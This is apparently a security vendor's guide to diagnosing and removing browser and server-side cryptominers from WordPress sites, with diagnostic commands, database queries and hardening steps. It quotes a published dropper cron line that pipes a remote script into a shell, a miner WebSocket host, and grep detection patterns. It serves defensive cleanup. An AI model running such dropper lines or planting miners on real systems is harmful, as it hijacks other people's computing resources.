Working out what you have

Something on your site is mining cryptocurrency

Two infections wear this symptom and they need different work. One burns your visitors' CPU and leaves your server idle, the other pins your hosting account and leaves visitors fine. About ten minutes of checking settles which you have.

Checked against a live WordPress install on .

Two infections, one symptom

"A cryptominer on my WordPress site" describes two attacks that share almost nothing beyond the motive. They arrive through the same kinds of break-in, they can both be present at once, and every step after this one differs between them. Read the complaint you actually received.

Browser mining. A JavaScript miner is injected into the pages your site renders. It runs in the visitor's tab, on the visitor's processor, and your server does no more work than it did last week. What reaches you is other people's reports: a laptop fan that spins up on your pages, an antivirus product or an ad blocker warning about the site, a browser tab showing high CPU in the task manager. Your own hosting dashboard looks untouched.

Server-side mining. A miner binary or a PHP process runs on the machine that hosts the site. Load average sits at the ceiling, the site crawls for everybody, and your host throttles the account or suspends it. Visitors notice a slow site and nothing else, because nothing is being asked of their machines.

  Browser mining Server-side mining
Whose processor Every visitor's Yours, or your host's
Who complains Visitors, antivirus vendors, ad blockers Your host, then you
Server load Unchanged Pinned
Confirmed with Browser dev tools on a page you load top, ps, the host's graphs
Lives in Rendered HTML, so files or the database A dropped binary and a cron entry
Removal ends at A clean page source A dead process and no cron line

One warning before you start measuring anything. The classic advice is to watch for sustained above-normal CPU, which is what CISA's cryptomining guidance is built around, and the campaigns that matter now are designed against exactly that reading. The browser miner found on more than 3,500 sites in July 2025 measured the visitor's device first and then throttled itself to stay under the threshold, producing no obvious CPU spike in testing. A quiet fan and a flat graph are not a result.

If your visitors are also being sent somewhere they did not ask to go, you are looking at a second payload from the same break-in, and narrowing down which layer is redirecting your visitors is a faster place to start than this page.

Working out which one you have

Run both sets of checks. They take ten minutes together and each rules out an entire class of work.

The browser side, in about four minutes

Open your site in a private window with every extension disabled, and stay logged out. Both matter. Ad blockers block the known mining hosts, so the miner never loads and your check comes back clean while your visitors keep mining. Injections routinely exclude the site owner as well: a 2017 campaign set a cookie called wpt from wp-admin/admin-header.php and skipped anyone carrying it, so the only visitor able to fix the site never saw it.

Open the developer tools, go to the Network tab, and click the WS filter. That filter shows WebSocket connections and nothing else. A normal WordPress page has none, or has one belonging to a live chat or a page builder you recognise. A miner keeps one open for the lifetime of the page and exchanges small frames continuously: select the connection, open the Messages tab, and you will see traffic in both directions on an idle page. The 2025 campaign talked to wss://lokilokitwo[.]de:10006. Read the host, do not visit it.

Then record ten seconds on the Performance tab while the page sits idle and you touch nothing. A finished WordPress page should drop to almost no scripting time. Continuous scripting across several worker threads on a page nobody is interacting with is the miner. Modern miners spawn Web Workers so the main thread stays responsive, which is why the page feels normal while the processor does not.

Two more signals. A .wasm file in the Network list on a site with no reason to load WebAssembly is a strong one, because the miners check for WebAssembly support before they start. And the Sources panel lists worker threads separately, so an unexplained worker running a script you did not put there is worth reading.

Finally, look at what the server actually sent, before any script had a chance to rewrite it:

bash
curl -s https://example.com/ | grep -o '<script[^>]*>' | sort | uniq -c | sort -rn

You are reading for two shapes. A src pointing at a domain you cannot account for, and an inline script with no readable content. The 2025 loader used the second: a <script defer> tag whose src was a data:text/javascript;base64 URI, which decodes to a short piece of code that fetches the real miner from somewhere else. Decoding a block like that without running it is covered in reading eval and base64_decode in an injected file.

Some injections only fire for search engine crawlers or for visitors arriving from a search result. If the page source looks clean, fetch it once more as a crawler: curl -s -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" https://example.com/ and compare the two.

The server side, in about six minutes

This half needs shell access. If your plan has none, skip to the last paragraph of this section.

Start with the process list. A miner is a long-lived process holding a full core, or every core, and it does not stop when traffic does.

bash
top -c
top -u your_hosting_user
ps -ef | sort -k4 -rn | head -20

Read the full command line rather than the process name. Miners are named to survive a glance. One documented dropper wrote its binary to /tmp/php with its configuration in /tmp/p.conf, so ps reported /tmp/php -c /tmp/p.conf: the word php in a process list on a web server attracts no attention at all. A 2025 campaign used the name linuxsys for the same reason.

Then read the scheduled tasks, because that is where the miner keeps its spare copy:

bash
crontab -l
crontab -u your_hosting_user -l
ls -la /etc/cron.d/ /etc/cron.daily/

A dropper cron line is short, runs far too often, and pipes a download straight into a shell. The published example ran every minute: * * * * * $LDR http://<c2>/cr2.sh | sh > /dev/null 2>&1. Anything on your crontab that fetches a remote address and executes the response is the thing keeping the miner alive, whatever it claims to be.

WordPress has its own scheduler and it is used the same way. This one is verified and safe to run:

bash
wp cron event list --fields=hook,next_run_relative

Every hook in that list should belong to core, to a plugin you installed, or to your theme. A hook with a random-looking name, or one due to fire every minute, is worth tracing back to the code that registered it.

Now look at the directories a dropped binary lives in. They are writable by everyone and cleaned by nobody:

bash
ls -la /tmp /var/tmp /dev/shm
find wp-content/uploads -name "*.php"

The second command earns its place here for a reason worth knowing: attackers stage miner payloads on other people's WordPress sites. A 2025 campaign served its binary from the uploads directories of two hacked WordPress installs. Your uploads folder may be hosting someone else's miner rather than your own.

With no shell access, you have two things left and both work. Your hosting panel shows a resource graph, and a miner draws a distinctive shape on it: a flat ceiling that starts at a specific hour and never comes down, with no matching rise in visitors. And your host can see everything you cannot. Open a ticket, say you suspect a cryptominer, and ask for the process name, its full path, and the time it first appeared. If the account is already suspended, that ticket is your first move rather than your last.

Where each one hides

Browser mining: in whatever renders your pages

The script has to reach the HTML, so it lives wherever your HTML is assembled. Four places carry almost all of it.

  • The active theme. header.php, footer.php and functions.php, in that rough order of popularity. An injection in functions.php usually takes the form of a function hooked to wp_footer or to wp_enqueue_scripts, which is the polite WordPress way of adding a script and looks entirely at home in a theme file.
  • A plugin nobody installed. A one-file plugin, or a must-use plugin under wp-content/mu-plugins/, which WordPress loads on every request and never lists as deactivatable. Both register their script through the same hooks a real plugin uses.
  • Core files, edited in place. The 2017 campaign changed wp_footer() inside wp-includes/general-template.php to require_once('options-footer.php'), and dropped wp-includes/options-footer.php beside it to do the actual work. Two files, one of which belongs to WordPress and one of which does not, and the second is named to sit quietly in a directory full of similar names.
  • The database. A row in wp_options holding a base64-encoded blob, with a small piece of injected PHP that reads it and evaluates it. A documented toolkit used the option names admin_head, admin_body, admin_footer, dolly_css, dolly_work and hello_dolly, all of which read as WordPress internals and none of which are.

For the database, sort the autoloaded options by size. An injected payload is far larger than a real setting:

sql
SELECT option_name, LENGTH(option_value) AS len
FROM wp_options
WHERE autoload IN ('yes','on','auto-on','auto')
ORDER BY len DESC
LIMIT 20;

Four values, not one. WordPress 6.6 added on, auto-on and auto to that column, and every option written since then uses one of them. A stock 7.0.4 install had 139 rows on yes and 25 on the newer spellings, so autoload = 'yes' quietly skips a quarter of what autoloads.

Run it with wp db query, and change the table prefix if yours differs. The wp_ prefix is only a default; read $table_prefix in wp-config.php for the real one. A query that matches nothing prints nothing at all, so silence here is a result and not a broken command.

The Coinhive string you will still find, and what it means now

Coinhive was the service that made browser mining easy, and its script is what most guides on this subject still describe. It shut down in March 2019. A security researcher acquired the domain in May 2020 and pointed it at a notice, and in March 2021 it was still receiving more than 100,000 unique visitors a day, peaking at 3.63 million requests, from pages asking for /lib/coinhive.min.js and /lib/cryptonight.wasm. Those pages had been infected for years and nobody had noticed.

So a Coinhive reference in your files today mines nothing. It is still the most useful thing you could have found. It dates the compromise to before 2019, it proves nobody has read those files since, and whatever let the injection in was never closed. Look for what else arrived afterwards.

The services that took over the traffic after March 2019 are named in the research as WebMinePool, CryptoLoot and CoinIMP. They are legitimate businesses selling a mining script, and their code ends up on hacked sites the same way Coinhive's did. Recognising one of those names in your page source tells you the same story as Coinhive, with a payload that still works.

Server-side mining: a binary and something that restarts it

This half has two components and you need both. The binary does the mining and is disposable. The persistence puts it back, and it is the one that decides whether your afternoon is over.

The binary is almost always a build of XMRig, which is an open-source Monero miner with legitimate uses, recompiled and stripped so that signatures do not match. Documented samples have been written to /tmp, named as xmrig_64, xmrig_32, php or linuxsys, and paired with a small configuration file naming the pool and the wallet. The 2025 ShadowCaptcha campaign, which starts with injected JavaScript on hacked WordPress sites, still ships an XMRig-based miner and some variants fetch their configuration from a Pastebin URL instead of carrying it.

Persistence comes in three shapes, and you may have more than one.

  • A cron entry on your hosting user, running every minute, fetching a small shell script and piping it into a shell. The script checks whether the miner is running and re-downloads it if not.
  • A dropper left in the web root, usually a PHP file somewhere under wp-content/uploads/, which anyone can call over HTTP to restart the whole sequence.
  • A WordPress scheduled event, registered by injected PHP, which runs the dropper whenever your site gets traffic. It needs no shell access, which makes it the shape you are most likely to meet on shared hosting.

Read the binary if you want to, and do not run it. file <path> tells you it is a stripped ELF, and strings <path> | less usually shows the pool hostname and the wallet address in plain text. Both commands read the file and neither executes it. Executing a miner to confirm it is a miner turns a cleanup into an incident.

Removing it by hand

Take a copy of every file you are about to edit, outside the web root, before you edit it. You will want to read the injection again later, and the entry point is usually reconstructed from exactly those bytes.

The browser miner

  1. Find every copy. Search the whole install for the loader domain you read out of the page source, and separately for the shapes that carry it. Injected loaders are almost never obfuscated with anything clever:
    bash
    grep -rl --include="*.php" "the-domain-you-found" wp-content/ wp-includes/ wp-admin/
    grep -rlE --include="*.php" "eval\(|gzinflate|str_rot13|assert\(" wp-content/
    grep -rl --include="*.php" "data:text/javascript" wp-content/
  2. Date the files while you are there. Injected files usually share a timestamp with each other and with nothing else on the site:
    bash
    find . -name "*.php" -newermt "-7 days" -printf "%T+ %p\n" | sort
    Widen the window until the list stops growing. A forged timestamp is possible and common enough to matter, so a normal-looking date proves nothing while an odd one proves a great deal.
  3. Cut the injection out, do not delete the file. The block sits at the very top of the file before the opening comment, or at the very bottom after the last closing brace, and it is formatted differently from everything around it because a script wrote it. Remove it and the file should still read as a sensible file. A file that is nothing but the injection, such as the dropped wp-includes/options-footer.php in the 2017 campaign, can go entirely.
  4. Undo the edits to core files. Anything you found inside wp-admin/ or wp-includes/ should be replaced with the published copy of your exact version rather than edited by hand, because you can get the original for free: restoring modified core, plugin and theme files covers where each copy comes from.
  5. Clean the database rows. Run the autoload query from the section above. Read each oversized option before you touch it, decode it if it is encoded, and delete only the rows you have read. Take a database dump first. This step is manual work with no undo, so it is the one to slow down on.
  6. Re-check the page. Fresh private window, extensions off, logged out, Network tab with the WS filter on. An empty list and a page that drops to no scripting time when idle is the finished state. Check the home page, one post, and one page, because injections are sometimes scoped to a template.

The server-side miner

Order matters more here than anywhere else on this page. A cron entry that runs every minute will replace a binary you deleted before you have finished typing the next command.

  1. If the account is suspended, talk to the host first. They can see the process list, and a suspended account often cannot run the commands in the rest of this list. Ask them for the process name, the full path of the binary, and the first time they saw it.
  2. Remove the persistence before anything else. Read your crontab, remove the offending line, and confirm it is gone. Check the per-user crontabs and /etc/cron.d/ if the machine is yours. Inside WordPress, list the scheduled events and remove any hook you traced to injected code:
    bash
    crontab -l
    crontab -e
    wp cron event list --fields=hook,next_run_relative
  3. Kill the running process. Take the PID from the process list you already have. Kill it and then check the list again, because a supervisor script will restart it and that tells you the persistence is still there.
  4. Delete the binary and its configuration. Both files, from wherever they were written. Keep a copy outside the web root if you may need to hand it to your host or to an incident responder later.
  5. Find the dropper. Something wrote that binary, and it is normally a PHP file reachable over HTTP:
    bash
    find wp-content/uploads -name "*.php"
    find . -name "*.php" -newermt "-30 days" -printf "%T+ %p\n" | sort
    Read before you delete. Plugins legitimately drop small guard files and generated config caches under uploads/, and measured installs carried between zero and seven of them. Which PHP files belong under uploads sorts the honest ones from the droppers.
  6. Wait, then look again. Check the process list after five minutes, after an hour, and after the next reboot if you control one. Miner droppers commonly restart on boot, so a machine that comes back up mining had a second persistence you have not found.

One more thing about a machine you control. If the miner ran as root rather than as your web user, the compromise reached further than your site and none of the above settles it. Rebuild the server from a known image and move the site onto it.

Closing the way in

Both miners are the payload. Neither is the break-in, and removing a payload while leaving the door open buys you a few days. Three entry points account for almost all of it, and you can close all three in an afternoon.

An unpatched plugin or theme. Update everything, and delete what you are not using rather than deactivating it, because a deactivated plugin's files are still on disk and still reachable by URL. Nulled themes and plugins belong here too: paid code from a free download site arrives with something added.

A stolen or guessed administrator password. The 2025 ShadowCaptcha research names compromised administrator credentials alongside plugin exploits as the way in. Rotate every administrator password, turn on two-factor authentication, and read the user list for accounts you did not create. Change the authentication salts in wp-config.php as well, which logs out every existing session including the attacker's.

A shell that was already there. If the miner arrived alongside a web shell, the shell is the thing to hunt. Stop uploads/ executing PHP at the web server level, which neutralises the most common landing spot for both droppers and shells, and add define( 'DISALLOW_FILE_EDIT', true ); to wp-config.php so the theme editor stops being a one-click injection tool for anyone who reaches your dashboard.

For Apache, a small file inside the uploads directory does the first part:

wp-content/uploads/.htaccess apache
<FilesMatch "\.(?i:php|phar|phtml|php[0-9])(\.|$)">
  Require all denied
</FilesMatch>

The trailing (\.|$) and the (?i:…) are both load-bearing. Without them the rule misses an uppercase .PHP and a double extension such as shell.php.jpg. Both spellings were tested against this rule on Apache 2.4.67 and both returned 403. The uploads guide carries the nginx equivalent and a marker-file test for whether your host honours either.

On nginx the equivalent is a location block in the server configuration, because nginx does not read .htaccess files. Your host will add it if you ask.

If the miner comes back after all of that, the entry point is still open and the sequence to work through is finding what keeps letting the malware back in. Reinfection within days is information rather than bad luck: it tells you the way in was never one of the three above, and narrows where to look next.

Questions

My server CPU looks normal. Does that clear the site?
No. A browser miner runs on your visitors' machines and costs your server nothing, so a flat load average is the expected reading for that infection rather than evidence against it. The 2025 campaign that hit more than 3,500 sites also throttled itself on the visitor's machine and produced no obvious CPU spike in testing, so a quiet laptop clears nothing either. Look at the page's outbound WebSocket connections instead.
I found coinhive.min.js in my theme. Is it still mining?
No. Coinhive shut down in March 2019 and the domain was handed to a security researcher in May 2020, so the script it points at no longer mines anything. What that string does tell you is serious: an injection has sat in your files for years without anyone removing it, and whatever let it in was never closed. Treat it as a live incident with a dead payload, and check for newer injections beside it.
My host suspended the account for CPU. What do I do first?
Contact them before you change anything. On shared hosting they can see the process list and the resource graph that you cannot, they usually already know the path of the binary, and a suspended account often cannot run the commands you would need anyway. Ask for the process name, its full path, and the time it first appeared.
An ad blocker stops the miner. Is that good enough?
It protects the visitors who run one and hides the problem from you. Blocklists cover the known mining hosts, so the miner fails to load for those visitors while every other visitor keeps mining. It also means your own browser check comes back clean with your extensions on. Test in a private window with extensions disabled.
I deleted the miner and it came back within the hour.
Something scheduled is putting it back. On the server side that is usually a cron entry running every minute, which fetches the dropper again and re-downloads the binary, so removing the binary before the cron line achieves nothing. Inside WordPress it is usually a scheduled event or a second injected file that rewrites the first. Remove the persistence first, then the payload, then check again after five minutes.
Can I just delete the theme file that carries the script?
Only if the file is not one your site needs. An injected script is usually added to a file that already does a job, such as the theme's footer.php or functions.php, so deleting the file takes the site's real code with it. Cut out the injected block and leave the rest of the file in place. A file that contains nothing but the injection can go.

Next

The part of this a scanner can take off you

Most of the work on this page is finding things. The browser miner is a handful of injected lines in files that are otherwise doing their job, and you found them by reading page source, grepping, and comparing timestamps. Segurium does that half automatically: it fingerprints every file on the site, and when it finds an injection it removes the injected block and writes the rest of the file back working, so a theme file that carried a loader stays a theme file.

The rest of the page is yours to work through. The injected row in wp_options comes out through the autoload query and the database step above. The crontab entry, the running process and the binary in /tmp sit outside the site entirely, which puts them between you and your host. Check all of it before you decide the site is clean.